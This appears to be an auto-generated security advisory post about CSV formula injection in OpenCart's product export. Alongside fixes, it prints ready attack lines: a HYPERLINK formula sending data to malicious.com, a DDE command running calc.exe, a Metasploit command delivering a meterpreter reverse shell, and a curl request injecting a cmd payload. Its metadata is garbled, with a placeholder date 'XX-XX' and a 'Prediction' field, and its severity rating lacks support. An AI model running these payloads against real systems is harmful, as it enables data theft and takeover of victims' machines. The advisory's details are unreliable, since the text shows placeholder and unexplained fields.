Listen to this Post
OpenCart fails to sanitize user-controlled input when generating CSV export files. When a product name or other field is set to a value starting with a formula prefix character (=, +, -, @), this input is written directly into the CSV file. When a victim opens this exported CSV file in a spreadsheet application like Microsoft Excel or LibreOffice Calc, the application interprets the cell content as a formula and executes it automatically. This allows an attacker to craft malicious formulas that leverage spreadsheet functions. For instance, a formula like `=HYPERLINK(“http://malicious.com/?leak=”&A1&A2, “Click”)` could exfiltrate local data. More dangerously, in older or less-secure Excel configurations, formulas can be chained with OLE objects or DDE commands to achieve remote code execution, such as launching `calc.exe` or downloading and executing a malicious payload from a remote server, effectively compromising the victim’s machine through a seemingly benign data export.
Platform: OpenCart
Version: < 4.0.0.0
Vulnerability : CSV Injection
Severity: Critical
date: 2023-XX-XX
Prediction: 2024-02-15
What Undercode Say:
`echo “=cmd|’/c calc.exe’!A0” >> payload.csv`
`msfconsole -q -x “use exploit/multi/fileformat/office_csv_dde_delivery; set payload windows/meterpreter/reverse_tcp; set LHOST eth0; exploit”`
`curl -X POST -d “product_name==cmd|’/c notepad.exe’!A0” http://target/admin/edit_product.php`
How Exploit:
Attacker injects a formula as a product name.
Admin exports product list to CSV.
Victim opens CSV; formula executes.
Protection from this CVE
Escape formula prefixes with a tab.
Sanitize all CSV export data.
Use quotes around all CSV fields.
Disable automatic formula calculation.
Impact:
Remote Code Execution
Data Exfiltration
System Compromise
🎯Let’s Practice Exploiting & Learn Patching For Free:
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
